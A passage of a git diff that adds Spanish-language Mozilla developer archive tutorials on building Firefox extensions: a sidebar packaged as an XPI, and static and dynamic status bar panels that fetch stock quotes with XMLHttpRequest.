+</p><p>La creación de un panel lateral precisa de algo de creación de interfaz y de registro en la aplicación destino. Primero se creará una simple página XUL. Luego se crearán los ficheros de registro y finalmente el panel lateral será empaquetado dentro de un fichero instalable XPI.
+</p>
+<h2 id="Prerrequisitos">Pre-requisitos</h2>
+<p>Este artículo es una forma rápida de empezar pero, no explica todos los elementos de <a href="/es/XUL" title="es/XUL">XUL</a> ni el empaquetado de los XPI. Es recomendable que tengas algunos conocimientos básicos del funcionamiento de XUL y cómo maneja Firefox las extensiones. Véase <a href="/es/Creando_una_extensi%C3%B3n" title="es/Creando_una_extensión">Creando una extensión</a> para información más detallada sobre la estructura, empaquetado y publicación de extensiones.</p><h2 id="Paquetes">Paquetes</h2>
+<p>Las extensiones para Firefox son instaladas en paquetes ("<a href="/es/Bundles" title="es/Bundles">Bundles</a>"). Un paquete de extensión contiene generalmente un apartado "content", el cual contiene el código XUL y la lógica de la aplicación. Opcionalmente, se pueden incluir configuraciones regionales y temas. La mayoría de los añadidos vienen en una estructura de árbol predeterminada, y aunque no es requerido, es recomendable utilizar dicha estructura. Aquí se crea el paquete para el panel lateral y los ficheros incluìdos se muestran a continuación.</p>
+<div class="example" id="package_structure">
+<p><strong>Ejemplo 1. Estructura del paquete</strong></p>
+<pre>emptysidebar
+\- chrome
+   |- content
+   |- locale
+   | \- en-US
+   \- skin
+</pre>
+</div>
+<p>Crea todos los directorios, excepto <code>skin</code>. No se usa en este tutorial.</p>
+<p><code>locale</code> alberga la configuración regional, sólo la configuración <code>en-US</code> será creada. Está listada en el <a href="#en-us_emptysidebar.dtd">ejemplo 2</a>. La configuración regional incluye el nombre y los atajos de teclado para el panel lateral.</p>
+<div class="example" id="en-us_emptysidebar.dtd">
+<p><strong>Ejemplo 2. chrome/locale/en-US/emptysidebar.dtd</strong></p>
+<pre class="eval">&lt;!ENTITY emptysidebar.title "EmptySidebar"&gt;
+&lt;!ENTITY openEmptySidebar.commandkey "E"&gt;
+&lt;!ENTITY openEmptySidebar.modifierskey "shift accel"&gt;
+</pre>
+<p>El directorio <code>content</code> incluye nuestro panel lateral, el <code>emptysidebar.xul</code> es mostrado en <a href="#emptysidebar_xul">Example 3</a> y crea una <a class="external" href="http://books.mozdev.org/html/appc-77238.html">página</a> para albergar una etiqueta. Se pueden incluir otros elementos. Por favor, léase los tutoriales XUL para más información.</p>
+<p> </p>
+<div class="example" id="emptysidebar_xul">
+<p><strong>Ejemplo 3. chrome/content/emptysidebar.xul</strong></p>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type"text/css" ?&gt;
+&lt;?xml-stylesheet href="chrome://browser/skin/browser.css" type="text/css" ?&gt;
+&lt;!DOCTYPE page SYSTEM "chrome://emptysidebar/locale/emptysidebar.dtd"&gt;
+
+&lt;page id="sbEmptySidebar" title="&amp;emptysidebar.title;"
+         xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" &gt;
+  &lt;vbox flex="1"&gt;
+    &lt;label id="atest" value="&amp;emptysidebar.title;" /&gt;
+  &lt;/vbox&gt;
+&lt;/page&gt;
+</pre>
+</div>
+<p>Las nuevas extensiones pueden ser registradas en los menús o en los menús emergentes. Firefox utiliza overlays para ampliar menús. Éste es un fichero XUL separado que especifica la ubicación de los elementos del menú. El panel lateral es añadido aquí al menú Ver &gt; Panel lateral. El fichero overlay es listado en el <a href="#overlay_xul">ejemplo 4</a>.</p>
+<div class="example" id="overlay_xul">
+<p><strong>Ejemplo 4. chrome/contents/firefoxOverlay.xul</strong></p>
+<pre>&lt;?xml version="1.0"?&gt;
+
+&lt;!DOCTYPE overlay SYSTEM "chrome://emptysidebar/locale/emptysidebar.dtd"&gt;
+&lt;overlay id="emptySidebarOverlay"
+         xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+  &lt;menupopup id="viewSidebarMenu"&gt;
+    &lt;menuitem key="key_openEmptySidebar" observes="viewEmptySidebar"  /&gt;
+  &lt;/menupopup&gt;
+
+  &lt;keyset id="mainKeyset"&gt;
+    &lt;key id="key_openEmptySidebar" command="viewEmptySidebar"
+         key="&amp;openEmptySidebar.commandkey;"
+         modifiers="&amp;openEmptySidebar.modifierskey;" /&gt;
+  &lt;/keyset&gt;
+
+  &lt;broadcasterset id="mainBroadcasterSet"&gt;
+    &lt;broadcaster id="viewEmptySidebar"
+                 label="&amp;emptysidebar.title;"
+                 autoCheck="false"
+                 type="checkbox"
+                 group="sidebar"
+                 sidebarurl="chrome://emptysidebar/content/emptysidebar.xul"
+                 sidebartitle="&amp;emptysidebar.title;"
+                 oncommand="toggleSidebar('viewEmptySidebar');" /&gt;
+  &lt;/broadcasterset&gt;
+&lt;/overlay&gt;
+</pre>
+</div>
+<p>El fichero overlay consta de tres entradas: la definición del menú, los atajos de teclado y el manejador de eventos para los elementos de la interfaz. El propagador es enlazado a un elemento de la IU con el atributo <code>observes</code>. El propagador <code>viewEmptySidebar</code> define cómo se maneja el evento clic en el menú o cuando el atajo de teclado es usado.</p>
+<p>La extensión necesita suministrar algunos ficheros especiales de manifiesto que controlan cómo se instala y dónde están guardados sus recursos chrome. El primero es <code>install.rdf</code>, el manifiesto de instalación. Véase <a href="/es/Manifiesto_de_instalaci%C3%B3n" title="es/Manifiesto_de_instalación">Install Manifests</a> para un listado completo de las propiedades requeridas y opcionales. El manifiesto de instalación se lista en el <a href="#install_manifest">ejemplo 5</a>.</p>
+<div class="example" id="install_manifest">
+<p><strong>Ejemplo 5. install.rdf</strong></p>
+<pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+
+&lt;RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:em="http://www.mozilla.org/2004/em-rdf#"&gt;
+  &lt;Description about="urn:mozilla:install-manifest"&gt;
+    &lt;em:id&gt;emptysidebar@yourdomain.com&lt;/em:id&gt;
+    &lt;em:name&gt;EmptySidebar Extension&lt;/em:name&gt;
+    &lt;em:version&gt;1.0&lt;/em:version&gt;
+    &lt;em:creator&gt;Your Name&lt;/em:creator&gt;
+    &lt;em:description&gt;Example extension for creation and registration of a sidebar.&lt;/em:description&gt;
+    &lt;em:targetApplication&gt;
+      &lt;Description&gt;
+        &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt; &lt;!-- firefox --&gt;
+        &lt;em:minVersion&gt;1.5&lt;/em:minVersion&gt;
+        &lt;em:maxVersion&gt;2.0.0.*&lt;/em:maxVersion&gt;
+      &lt;/Description&gt;
+    &lt;/em:targetApplication&gt;
+  &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
+</div>
+<p>El otro fichero de manifiesto es <code>chrome.manifest</code>, el fichero de manifiesto chrome. El manifiesto chrome crea una lista con todos los tipos de recurso usados por la extensión. El manifiesto también le dice a Firefox que la extensión tiene un overlay que necesita ser mezclado en el navegador. Para más información sobre manifiestos chrome y las propiedades que soportan, véase la referencia del <a href="/es/Manifiesto_Chrome" title="es/Manifiesto_Chrome">Manifiesto Chrome</a>. El manifiesto usado en esta extensión se muestra en el <a href="#chrome_manifest">ejemplo 6</a>.</p>
+<div class="example" id="chrome_manifest">
+<p><strong>Ejemplo 6. chrome.manifest</strong></p>
+<pre>content	emptysidebar	chrome/content/
+locale	emptysidebar	en-US	locale/en-US/
+skin	emptysidebar	classic/1.0	skin/
+overlay	chrome://browser/content/browser.xul	chrome://emptysidebar/content/firefoxOverlay.xul
+</pre>
+</div>
+<h2 id="Prueba">Prueba</h2>
+<p>Durante el proceso de desarrollo del panel lateral, será necesario ir probándolo con Firefox. Hay un modo simple de hacer esto. Primero, necesitamos darle a conocer a Firefox la extensión.</p>
+<ol> <li>Abre el directorio de tu perfil</li> <li>Abre el directorio de las extensiones (créalo si no existe)</li> <li>Crea un nuevo fichero de texto y escribe en él la ruta al directorio de la extensión, p.e. <code>C:\extensiones\miExtension</code> o <code>~/extensiones/miExtension</code>. Guarda el fichero con el id de la extensión como nombre, p.e. <code><a class=" link-mailto" href="mailto:emptysidebar@yourdomain.com">emptysidebar@yourdomain.com</a></code></li>
+</ol>
+<p>¡Ahora estás preparado para probar la extensión! Reinicia Firefox y el panel lateral estará incluido en el menú.</p>
+<p><img alt="Imagen:Sidebar-test.png" class="internal" src="/@api/deki/files/1135/=Sidebar-test.png"></p>
+<p>Después podrás volver y hacer cambios en el fichero XUL. Cerrando y reiniciando Firefox deberían verse reflejados.</p>
+<h2 id="Publicaci.C3.B3n">Publicación</h2>
+<p>Ahora que tenemos el panel lateral es hora de hacerlo disponible al mundo. La instalación necesita la creación de un fichero XPI identificado como extensión de Firefox. El XPI es un fichero ZIP que contiene los ficheros de contenido, de configuración regional y de manifiesto.</p>
+<p>Los directorios content, locale y skin están empaquetados en <code>emptysidebar.jar</code>, los cuales deberían  ser creados en el directorio <code>chrome</code>. En los sistemas unix:</p>
+<pre class="eval">~/src/emptysidebar$ <strong>cd chrome</strong>
+~/src/emptysidebar/chrome$ <strong>zip -r emptysidebar.jar content/ locale/</strong>
+</pre>
+<p>En sistemas Windows, utiliza una herramienta ZIP para crear <code>emptysidebar.zip</code> y luego renómbralo como <code>emptysidebar.jar</code>.</p>
+<p>Dado que estamos empaquetando una extensión con un fichero JAR, necesitamos actualizar el fichero chrome.manifest para incluir dicho fichero:</p>
+<div class="example" id="chrome_manifest_jar">
+<p><strong>Ejemplo 7. chrome.manifest</strong></p>
+<pre>content emptysidebar	jar:chrome/emptysidebar.jar!/content/
+locale  emptysidebar	en-US	jar:chrome/emptysidebar.jar!/locale/en-US/
+skin    emptysidebar	classic/1.0	jar:chrome/emptysidebar.jar!/skin/
+overlay chrome://browser/content/browser.xul	chrome://emptysidebar/content/firefoxOverlay.xul
+</pre>
+</div>
+<p>Por último, creamos el fichero XPI. Éste es un fichero ZIP que contiene el fichero JAR en el directorio chrome y los ficheros de manifiesto. En sistemas unix:</p>
+<pre class="eval">~/src/emptysidebar/chrome$ <strong>cd ..</strong>
+~/src/emptysidebar$ <strong>zip emptysidebar.xpi install.rdf chrome.manifest chrome/emptysidebar.jar</strong>
+</pre>
+<p>Abre Firefox y navega hasta el directorio que contiene <code>emptysidebar.xpi</code>. Haz clic en el fichero y la ventana de instalación de la extensión aparecerá. Tras reiniciar Firefox, el panel lateral estará instalado.</p>
+<p>Puedes descargar el <a class="external" href="http://developer.mozilla.org/samples/extension-samples/emptysidebar.zip">proyecto vacío del panel lateral</a> para usarlo como base de tus propios paneles laterales.</p>
+<div class="figure" id="emptysidebar_extension">
+<p><img alt="Imagen:Sidebar-installed.png" class="internal" src="/@api/deki/files/1134/=Sidebar-installed.png"><br>
+<strong>The EmptySidebar extension</strong></p>
+</div>
+<h2 id="Recursos">Recursos</h2>
+<ul> <li><a href="/es/Creando_una_extensi%C3%B3n" title="es/Creando_una_extensión">Creando una extensión</a></li> <li><a class="external" href="http://books.mozdev.org/html/index.html">Crear aplicaciones con Mozilla</a></li> <li><a class="external" href="http://www.bengoodger.com/software/mb/extensions/packaging/extensions.html">Empaquetando extensiones de Firefox/Thunderbird</a></li> <li><a class="external" href="http://occidopagus.nl/firefox/emptysidebar/">Crear una panel lateral para Firefox 1</a></li>
+</ul>
+<div class="originaldocinfo">
+<h2 id="Informaci.C3.B3n_del_documento_original">Información del documento original</h2>
+<ul> <li>Autor: J.C. Wesdorp &lt;jcwesdorp . at . occidopagus.nl&gt; - May 30, 2005.</li> <li>Actualizado para Firefox 2 - 12 diciembre 2006.</li> <li>Permiso concedido para migrarlo en enero de 2006 incluyendo el permiso para cambiarle la licencia bajo CC:By-SA.</li> <li>Fuente original: <a class=" external" href="http://occidopagus.nl/firefox/emptysidebar/">http://occidopagus.nl/firefox/emptysidebar/</a></li>
+</ul>
+</div>
+</div>
+<p>{{ languages( { "en": "en/Creating_a_Firefox_sidebar" } ) }}</p>
diff --git a/files/es/crear_una_extensión_dinámica_en_la_barra_de_estado/index.html b/files/es/crear_una_extensión_dinámica_en_la_barra_de_estado/index.html
new file mode 100644
index 0000000000..607b81c5fc
--- /dev/null
+++ b/files/es/crear_una_extensión_dinámica_en_la_barra_de_estado/index.html
@@ -0,0 +1,178 @@
+---
+title: Crear una extensión dinámica en la barra de estado
+slug: Crear_una_extensión_dinámica_en_la_barra_de_estado
+tags:
+  - Complementos
+  - Todas_las_Categorías
+  - extensiones
+translation_of: Archive/Creating_a_dynamic_status_bar_extension
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Crear_una_extensión_en_la_barra_de_estado" style="float: left;">« Anterior</a><a href="/es/docs/Añadir_preferencias_a_una_extensión">Siguiente  »</a></p>
+</div><p></p>
+
+<p><br>
+ Este artículo está basado en el artículo <a href="es/Crear_una_extensi%c3%b3n_en_la_barra_de_estado">Crear una extensión en la barra de estado</a>, el cual crea un panel estático en la barra de estado de Firefox, mejorándolo con la actualización dinámica de su contenido con información traída de la web cada pocos minutos. Concretamente, el ejemplo muestra un stock quote en la barra de estado y, cuando el ratón se mueve sobre él, muestra una ayuda emergente que contiene información más detallada sobre el stock.</p>
+
+<p>Los conceptos tratados en el ejemplo anterior no se explicarán de nuevo aquí. En vez de eso, descarga el código de ejemplo o ve al anterior ejemplo para más detalles.</p>
+
+<h2 id="Descargar_el_ejemplo" name="Descargar_el_ejemplo">Descargar el ejemplo</h2>
+
+<p>Puedes descargar una copia de este ejemplo para echarle un vistazo o para utilizarlo como base para tu propia extensión. O si ya tienes el código del artículo [[Crear una extensión en la barra de estado] puedes seguir este tutorial para actualizar dicho código existente con nuevas características.</p>
+
+<p><a class="external" href="http://developer.mozilla.org/samples/extension-samples/stockwatcher.zip">Descargar el ejemplo</a></p>
+
+<h2 id="Actualizar_el_manifiesto_de_instalaci.C3.B3n" name="Actualizar_el_manifiesto_de_instalaci.C3.B3n">Actualizar el manifiesto de instalación</h2>
+
+<p>Reemplaza todas las ocurrencias del ID del primer ejemplo ("status-bar-sample-1") con el ID del nuevo ejemplo ("stockwatcher") y actualiza los metadatos para describir nuestra nueva extensión.</p>
+
+<p>Véase <a href="es/Manifiestos_de_instalaci%c3%b3n">Manifiestos de instalación</a> para más detalles.</p>
+
+<h2 id="Actualizar_el_manifiesto_chrome" name="Actualizar_el_manifiesto_chrome">Actualizar el manifiesto chrome</h2>
+
+<p>El manifiesto <a href="es/Chrome">chrome</a> sólo necesita una pequeña modificación desde el ejemplo anterior. Simplemente reemplaza el ID del primer ejemplo ("status-bar-sample-1") con el nombre del nuevo ejemplo ("stockwatcher").</p>
+
+<p>Si necesitas un repaso, visita la sección <a href="es/Manifiesto_Chrome">Manifiesto Chrome</a>.</p>
+
+<h2 id="Escribir_el_fichero_XUL" name="Escribir_el_fichero_XUL">Escribir el fichero XUL</h2>
+
+<p>Ahora necesitaremos complicar un poquito el fichero XUL para poder añadir una referencia al código Javascript que hará el trabajo real:</p>
+
+<pre class="eval"> &lt;?xml version="1.0" encoding="UTF-8"?&gt;
+
+ &lt;!DOCTYPE overlay &gt;
+ &lt;overlay id="stockwatcher-overlay"
+   xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+
+ &lt;script type="application/x-javascript"
+   src="<span class="nowiki">chrome://stockwatcher/content/stockwatcher.js</span>"/&gt;
+
+ &lt;!-- Firefox --&gt;
+ &lt;statusbar id="status-bar"&gt;
+   &lt;statusbarpanel id="stockwatcher"
+     label="Loading..."
+     tooltiptext="Current value"
+     onclick="StockWatcher.refreshInformation()"
+   /&gt;
+ &lt;/statusbar&gt;
+
+ &lt;/overlay&gt;
+</pre>
+
+<p>También has de percatarte de que la definición del panel de la barra de estado incluye ahora una nueva propiedad, <code>onclick</code> que referencia a la función Javascript que será ejecutada en el momento en el que el usuario pinche sobre el panel de la barra de estado. Nuestra extensión actualizará la información de stock cuando el usuario pinche en el panel.</p>
+
+<h2 id="Escribir_el_c.C3.B3digo_JavaScript" name="Escribir_el_c.C3.B3digo_JavaScript">Escribir el código JavaScript</h2>
+
+<p>La tarea de obtener el stock quote y actualizar el visor del panel de la barra de estado es manejado por el código JavaScript en el fichero <code>stockwatcher.js</code></p>
+
+<p>A diferencia de nuestro anterior ejemplo, éste está implementado como un objeto. Lo hacemos así porque en futuros ejemplos de esta serie haremos cosas que son más fáciles de hacer si nuestra extensión está implementada así.</p>
+
+<p>Usamos la función del DOM <code>window.addEventListener()</code> para decirle a Firefox que llame a la función <code>StockWatcher.startup()</code> cuando se abra una nueva ventana del navegador:</p>
+
+<pre class="eval"> window.addEventListener("load", function(e) { StockWatcher.startup(); }, false);
+</pre>
+
+<p>Nuestra nueva extensión posee dos funciones principales: <code>startup()</code> y <code>refreshInformation()</code>. La función <code>refreshInformation()</code> contiene otra función llamada <code>infoReceived()</code>. Las siguientes secciones las diseccionarán una a una.</p>
+
+<h3 id="startup.28.29" name="startup.28.29">startup()</h3>
+
+<p>La función <code>startup()</code> es llamada cuando se abre una nueva ventana del navegador. <span class="comment">We end up reloading data from each of the windows once in 10 minutes - fixing this by creating a JS component responsible for communication with the server is a good idea for one of the future articles</span></p>
+
+<pre class="eval">   startup: function()
+   {
+     this.refreshInformation();
+     window.setInterval(this.refreshInformation, 10*60*1000);
+   },
+</pre>
+
+<p>Esta función comienza llamando a nuestra función <code>refreshInformation()</code> la cual es responsable de recuperar y mostrar la información del stock ticker en el panel de la barra de estado. Hacemos esto ya que una vez cargada la información del stock es mostrada tan pronto como sea posible.</p>
+
+<p>Tras hacer esto, instalamos una rutina de intervalo en la ventana del navegador llamando a <code><a href="es/DOM/window.setInterval">window.setInterval()</a></code>. Esto configura nuestra rutina para que sea llamada cada 10 minutos (el intervalo de tiempo se especifica en milisegundos).</p>
+
+<h3 id="refreshInformation.28.29" name="refreshInformation.28.29">refreshInformation()</h3>
+
+<p>La función <code>refreshInformation()</code> es llamada siempre que queramos actualizar la información del stock. Es llamada cuando el usuario hace clic sobre el panel de la barra de estado, cuando nuestra extensión es añadida a la ventana del navegador y periódicamente por el manejador del intervalo para actualizar la información.</p>
+
+<pre class="eval">   refreshInformation: function()
+   {
+     var httpRequest = null;
+     var fullUrl = "<a class="external" href="http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1ohgv&amp;e=.csv&amp;s=GOOG" rel="freelink">http://quote.yahoo.com/d/quotes.csv?...&amp;e=.csv&amp;s=GOOG</a>";
+
+     ...
+
+     httpRequest = new XMLHttpRequest();
+
+     httpRequest.open("GET", fullUrl, true);
+     httpRequest.onload = infoReceived;
+     httpRequest.send(null);
+   }
+ }
+</pre>
+
+<p>La variable <code>httpRequest</code> contendrá un objeto <code><a href="es/XMLHttpRequest">XMLHttpRequest</a></code>. Este objeto es usado para configurar y ejecutar una petición HTTP en un servidor web el cual usaremos para conseguir los datos del stock quote.</p>
+
+<p>La variable <code>fullUrl</code> es la URL completa que se usa cuando se pide un stock quote. En este caso, utilizamos los valores separados por comas devueltos por Yahoo para analizar fácilmente los datos de stock quote para Google (símbolo de ticker GOOG).</p>
+
+<p><code>refreshInformation()</code> incrusta otra función, <code>infoReceived()</code>, que explicaremos en breve y de modo separado.</p>
+
+<p>Lo primero que hacemos es crear un nuevo objeto <code>XMLHttpRequest</code> para poder procesar nuestra petición. Abrimos la petición, especificando que deseamos realizar un comando HTTP "GET" con la URL <code>fullUrl</code>. El valor booleano <code>true</code> como tercer parámetro indica que queremos realizar la petición asíncronamente.</p>
+
+<p>Al establecer la propiedad <code>httpRequest.onload</code> a nuestra función <code>infoReceived()</code> hacemos que la petición llame a <code>infoReceived()</code> cuando se reciba una respuesta desde el servidor. Finalmente, enviamos la petición al servidor y volvemos.</p>
+
+<h3 id="infoReceived.28.29" name="infoReceived.28.29">infoReceived()</h3>
+
+<p>Cuando el servidor responda nuestra petición, nuestra función <code>infoReceived()</code> que está incrustada dentro de <code>refreshInformation()</code> será llamada automáticamente.</p>
+
+<p>Incrustamos esta función dentro de <code>refreshInformation()</code> para que el ámbito de su variable incluya a las variables usadas por dicha función. Debido a la forma en la que funciona JavaScript, si <code>infoReceived()</code> estuviese fuera de <code>refreshInformation()</code> entonces no tendría acceso al mismo ámbito de variable. De hecho, incluso el valor <code>this</code> no coincidiría por lo que no podemos obtener las mismas variables y funciones de ese modo.</p>
+
+<pre class="eval">     function infoReceived()
+     {
+       var samplePanel = document.getElementById('stockwatcher');
+       var output = httpRequest.responseText;
+
+       if (output.length)
+       {
+         // Remove whitespace from the end of the string;
+         // this gets rid of the end-of-line characters
+
+         output = output.replace(/\W*$/, "");
+
+         // Build the tooltip string
+
+         var fieldArray = output.split(","); <span class="comment">assert that fieldArray[0] == "GOOG"</span>
+         samplePanel.label = "GOOG: " + fieldArray[1];
+         samplePanel.tooltipText = "Chg: " + fieldArray[4] + " | " +
+             "Open: " + fieldArray[5] + " | " +
+             "Low: " + fieldArray[6] + " | " +
+             "High: " + fieldArray[7] + " | " +
+             "Vol: " + fieldArray[8];
+       }
+     }
+</pre>
+
+<p>Lo primero que hacemos aquí es asignar el panel de la barra de estado a la variable <code>samplePanel</code> llamando a la función del DOM <code><a href="es/DOM/document.getElementById">document.getElementById()</a></code>. Necesitamos esto para poder hacer cambios en el mismo panel de la barra de estado.</p>
+
+<p>Luego recuperaremos el resultado devuelto por el servidor web en la variable <code>output</code> desde la propiedad <code>XMLHttpRequest.responseText</code> property.</p>
+
+<p>El texto recibido del servidor tendrá este aspecto:</p>
+
+<pre class="eval"> "GOOG",414.20,"5/1/2006","1:36pm",-3.74,417.85,419.44,412.19,4760215
+</pre>
+
+<p>Luego analizaremos el texto. Usaremos la función <code>split()</code> para dividir los valores separados por comas en partes individuales, con cada campo en un elemento separado en el array <code>fieldArray</code>. En el índice 0 estará el símbolo del mismo ticker el cual no necesitamos debido a que sabemos el stock que estamos utilizando.</p>
+
+<p>La etiqueta del panel de la barra de estado se establece para que indique el valor actual del stock, el cual está almacenado en <code>fieldArray[1]</code>, estableciendo la propiedad <code>samplePanel.label</code>.</p>
+
+<p>Luego estableceremos la ayuda emergente para el panel de la barra de estado asignándole una cadena apropiada a la propiedad <code>samplePanel.tooltipText</code>. La cadena se construye a partir de una combinación de cadenas estáticas y varios elementos del array <code>fieldArray</code>.</p>
+
+<h2 id="Verlo_en_acci.C3.B3n" name="Verlo_en_acci.C3.B3n">Verlo en acción</h2>
+
+<p>Ahora puedes instalar y probar la extensión. Deberías ver algo parecido a esto:</p>
+
+<p><img alt="Image:stockwatcher.png"></p>
+
+<p>En este pantallazo tenemos también el anterior ejemplo ejecutándose, mostrando el texto "Hello World".</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Crear_una_extensión_en_la_barra_de_estado" style="float: left;">« Anterior</a><a href="/es/docs/Añadir_preferencias_a_una_extensión">Siguiente  »</a></p>
+</div><p></p>
diff --git a/files/es/crear_una_extensión_en_la_barra_de_estado/index.html b/files/es/crear_una_extensión_en_la_barra_de_estado/index.html
new file mode 100644
index 0000000000..5d6b9b78c0
--- /dev/null
+++ b/files/es/crear_una_extensión_en_la_barra_de_estado/index.html
@@ -0,0 +1,205 @@
+---
+title: Crear una extensión en la barra de estado
+slug: Crear_una_extensión_en_la_barra_de_estado
+tags:
+  - Complementos
+  - Todas_las_Categorías
+  - extensiones
+translation_of: Archive/Creating_a_status_bar_extention
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Crear_una_extensión_dinámica_en_la_barra_de_estado">Siguiente  »</a></p>
+</div> Este es el primero de una serie de artículos que mostrarán cómo crear extensiones progresivamente complejas para el navegador Firefox. Aunque puede que algunos de los ejemplos de esta serie se parezcan a los ejemplos vistos en otro lugar, el objetivo de estos artículos es ayudar a reunir información en un único lugar para nuevos desarrolladores de extensiones simplificando la tarea de iniciarse.<p></p>
+
+<p>Muchos de los conceptos introducidos aquí se aplican a cualquier aplicación basada en XUL. Sin embargo, nosotros nos centraremos específicamente en Firefox.</p>
+
+<p>Este ejemplo añadirá una cadena de texto estática a la barra de estado situada en la parte inferior de las ventanas del navegador Firefox. Es posible que esto te recuerde al artículo <a href="es/Creando_una_extensi%c3%b3n">Creando una extensión</a>. No obstante este ejemplo será ampliado en los artículos siguientes.</p>
+
+<h2 id="Descargar_el_ejemplo" name="Descargar_el_ejemplo">Descargar el ejemplo</h2>
+
+<p>Puedes descargar una copia de este ejemplo para echarle un vistazo o para usarlo como base para tu propia extensión.</p>
+
+<p><a class="external" href="http://developer.mozilla.org/samples/extension-samples/status-bar-sample-1.zip">Descargar el ejemplo</a></p>
+
+<h2 id="El_manifiesto_de_instalaci.C3.B3n" name="El_manifiesto_de_instalaci.C3.B3n">El manifiesto de instalación</h2>
+
+<p>El manifiesto de instalación, <a href="es/Manifiestos_de_instalaci%c3%b3n">install.rdf</a> es un fichero de texto que contiene información importante sobre la extensión para la aplicación anfitrión.</p>
+
+<pre class="eval"> &lt;?xml version="1.0"?&gt;
+
+ &lt;RDF xmlns="<span class="nowiki">http://www.w3.org/1999/02/22-rdf-syntax-ns#</span>"
+    xmlns:em="<span class="nowiki">http://www.mozilla.org/2004/em-rdf#</span>"&gt;
+
+   &lt;Description about="<span class="nowiki">urn:mozilla:install-manifest</span>"&gt;
+
+   &lt;em:id&gt;<span class="nowiki">status-bar-sample-1@example.com</span>&lt;/em:id&gt;
+   &lt;em:version&gt;1.0&lt;/em:version&gt;
+   &lt;em:type&gt;2&lt;/em:type&gt;
+
+   &lt;!-- Front End Metadata --&gt;
+
+   &lt;em:name&gt;Status Bar Sample 1&lt;/em:name&gt;
+   &lt;em:description&gt;Sample static status bar panel&lt;/em:name&gt;
+   &lt;em:creator&gt;My Name&lt;/em:creator&gt;"
+   &lt;em:homepageURL&gt;<span class="nowiki">http://developer.mozilla.org/en/docs/Creating_a_status_bar_extension</span>&lt;/em:homepageURL&gt;
+
+   &lt;!-- Describe the Firefox versions we support --&gt;
+
+   &lt;em:targetApplication&gt;
+     &lt;Description&gt;
+     &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;
+     &lt;em:minVersion&gt;1.5&lt;/em:minVersion&gt;
+     &lt;em:maxVersion&gt;2.0.0.*&lt;/em:maxVersion&gt;
+     &lt;/Description&gt;
+   &lt;/em:targetApplication&gt;
+
+   &lt;/Description&gt;
+
+ &lt;/RDF&gt;
+</pre>
+
+<p>Veamos con detalle algunas partes clave del manifiesto.</p>
+
+<h3 id="Informaci.C3.B3n_de_identificaci.C3.B3n_de_la_extensi.C3.B3n" name="Informaci.C3.B3n_de_identificaci.C3.B3n_de_la_extensi.C3.B3n">Información de identificación de la extensión</h3>
+
+<p>Se necesita cierta información para que Firefox pueda identificar unívocamente tu extensión. En este ejemplo, estos campos son:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Propiedad</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td>id</td>
+   <td>Una cadena de identificación unívoca. Antes de Firefox 1.5, esto era un <a href="es/Generar_GUIDs">GUID</a>. A partir de Firefox 1.5 deberías de usar una cadena de la forma<em>nombre-de-la-extensión</em>@<em>dominio-del-creador</em>.</td>
+  </tr>
+  <tr>
+   <td>version</td>
+   <td>El número de versión de la extensión.</td>
+  </tr>
+  <tr>
+   <td>type</td>
+   <td>El tipo de complemento. Para las extensiones es 2.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Informaci.C3.B3n_legible" name="Informaci.C3.B3n_legible">Información legible</h3>
+
+<p>En este ejemplo, tenemos cuatro partes de información legible, es decir, información que es mostrada al usuario dentro de la interfaz de Firefox. Y son:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Propiedad</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td>em:name</td>
+   <td>Nombre de la extensión. Este nombre se muestra en la ventana de extensiones.</td>
+  </tr>
+  <tr>
+   <td>em:description</td>
+   <td>Una descripción breve sobre la extensión. Este texto se muestra además en la ventana de extensiones.</td>
+  </tr>
+  <tr>
+   <td>em:creator</td>
+   <td>El nombre del autor.</td>
+  </tr>
+  <tr>
+   <td>homepageURL</td>
+   <td>La URL del sitio web que debe visitar el usuario para conseguir información sobre la extensión o para buscar actualizaciones. No es un campo obligatorio pero incluirlo es una buena idea.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Informaci.C3.B3n_de_la_aplicaci.C3.B3n_destino" name="Informaci.C3.B3n_de_la_aplicaci.C3.B3n_destino">Información de la aplicación destino</h3>
+
+<p>También es necesario incluir información que identifique la aplicación o aplicaciones en las que la extensión puede funcionar. Aunque esta extensión de ejemplo sólo funciona en Firefox, es completamente posible crear extensiones que funcionen en múltiples aplicaciones basadas en XUL.</p>
+
+<p>Además se necesita indicar qué versiones de la aplicación o aplicaciones destino soporta tu extensión. Si no va a funcionar en versiones antiguas de Firefox o aún no ha sido probada en nuevas versiones puedes restringir la extensión para que sólo las versiones soportadas de las aplicaciones destino intenten usarla.</p>
+
+<p>La información de la aplicación destino está contenida dentro del bloque <code>em:targetApplication</code> <code>Description</code>.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Propiedad</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td>id</td>
+   <td>Un ID que indica la aplicación destino. "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}" es un GUID que identifica unívocamente a Firefox como destino.</td>
+  </tr>
+  <tr>
+   <td>minVersion</td>
+   <td>La versión más antigua de la aplicación destino para la que está soportada la extensión.</td>
+  </tr>
+  <tr>
+   <td>maxVersion</td>
